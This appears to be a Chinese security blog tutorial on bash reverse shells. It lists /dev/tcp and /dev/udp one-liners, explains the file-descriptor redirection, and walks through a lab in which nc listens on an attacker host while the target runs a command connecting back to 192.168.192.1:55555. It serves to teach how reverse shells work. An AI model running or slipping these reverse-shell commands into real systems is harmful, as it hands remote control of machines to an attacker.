当前位置: 首页 > news >正文

[ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、Bash介绍
  • 二、Bash反弹Shell的命令如下: (用tcp的比较多:可靠传输)
    • 用法
    • 注意
  • 三、实例讲解
    • 环境
    • 实验复现
      • 1、攻击机采用nc监听
      • 2、靶机执行连接命令
      • 3、shell反弹成功

一、Bash介绍

Bash (GNU Bourne-Again Shell) 是许多Linux发行版的默认Shell [1] 。事实上,还有许多传统UNIX上用的Shell,例如tcsh、csh、ash、bsh、ksh等等,Shell Script大致都类同,当您学会一种Shell以后,其它的Shell会很快就上手,大多数的时候,一个Shell Script通常可以在很多种Shell上使用。
bash是大多数Linux系统以及Mac OS X默认的shell,它能运行于大多数类Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现Windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
bash的命令语法是Bourne shell命令语法的超集。数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行,只有使用了Bourne的特殊变量或内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,$RANDOM 和 $PPID 变量,以及POSIX的命令置换语法: $(…)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名、文件名、变量名等等。

二、Bash反弹Shell的命令如下: (用tcp的比较多:可靠传输)

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2 
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1 
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

解释:建立一个交互式shell,把这个shell重定向到攻击机端口

用法

这里看图片吧,以前自己学习的时候标了颜色,这里就不标记了

"bash-i"是指打开一个交互式的Shell。
"&"符号用于区分文件和文件描述符:
">&"符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件;
">&“符号后面跟数字时,表示后面的数字是文件描述符;
不加”&“符号,会把后面的数字当成文件。
数字"0”,“1”,"2"是LinuxShell下的文件描述符:
“0”是指标准输入重定向;
“1”是指标准输出重定向;
“2”是指错误输出重定向。
"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。
“>&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到”/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。(建立一个tcp连接攻击机的ip和端口)
"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出。
在这里插入图片描述
在这里插入图片描述

注意

Bash -i交互式shell,如图,两层shell
在这里插入图片描述

/dev下默认没有tcp和udp,建立socket通信才会新建这个文件
在这里插入图片描述

三、实例讲解

环境

在这里插入图片描述

攻击机:windows:192.168.192.1
靶机:centos:192.168.13.153

实验复现

1、攻击机采用nc监听

攻击机器使用nc执行监听命令

nc -lvvp 55555

在这里插入图片描述

2、靶机执行连接命令

bash -i >&/dev/tcp/192.168.192.1/55555 0>&1

在这里插入图片描述

3、shell反弹成功

执行ls
在这里插入图片描述

执行ifconfig
在这里插入图片描述

相关文章:

  • C++:C++编程语言学习之逻辑控制语句(循环语句判断语句)异常处理(try-catch-throw)的简介、案例应用之详细攻略
  • 猿创征文|【React】组件化入门学习
  • 【Java牛客刷题】入门篇(03)
  • 数据库学习02
  • 神奇的卡尔曼滤波,目标追踪的福音
  • Web服务器配置与管理
  • [Linux]进程信号(信号入门 | 信号产生的方式 | 信号捕捉初识)
  • 【精通内核】CPU控制并发原理CPU中断控制内核解析
  • 【深度学习】Python 快速入门
  • 10、Java 方法的递归调用详解(递归调用的分析和案例:阶乘、斐波那契、猴子吃桃)
  • 【图解HTTP】HTTP首部
  • 还搞不明白“响应式编程”,那得看这篇
  • “蔚来杯“2022牛客暑期多校训练营10 EFI题解
  • fetch的简单使用
  • 程序员应了解的那些事(111)~进程、线程及堆栈关系
  • [Vue CLI 3] 配置解析之 css.extract
  • angular学习第一篇-----环境搭建
  • CODING 缺陷管理功能正式开始公测
  • CSS魔法堂:Absolute Positioning就这个样
  • iOS仿今日头条、壁纸应用、筛选分类、三方微博、颜色填充等源码
  • java2019面试题北京
  • JS实现简单的MVC模式开发小游戏
  • Lucene解析 - 基本概念
  • mac修复ab及siege安装
  • Mithril.js 入门介绍
  • text-decoration与color属性
  • Tornado学习笔记(1)
  • 爱情 北京女病人
  • 基于游标的分页接口实现
  • 检测对象或数组
  • 入口文件开始,分析Vue源码实现
  • 王永庆:技术创新改变教育未来
  • media数据库操作,可以进行增删改查,实现回收站,隐私照片功能 SharedPreferences存储地址:
  • 阿里云服务器购买完整流程
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • 昨天1024程序员节,我故意写了个死循环~
  • ​io --- 处理流的核心工具​
  • #{}和${}的区别?
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • $NOIp2018$劝退记
  • (2009.11版)《网络管理员考试 考前冲刺预测卷及考点解析》复习重点
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (汇总)os模块以及shutil模块对文件的操作
  • (四)图像的%2线性拉伸
  • (转)scrum常见工具列表
  • (转)我也是一只IT小小鸟
  • (转载)PyTorch代码规范最佳实践和样式指南
  • (轉貼) UML中文FAQ (OO) (UML)
  • ./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’: ./incl
  • .NET CLR Hosting 简介
  • .Net IOC框架入门之一 Unity
  • .NET 常见的偏门问题
  • .NET 的程序集加载上下文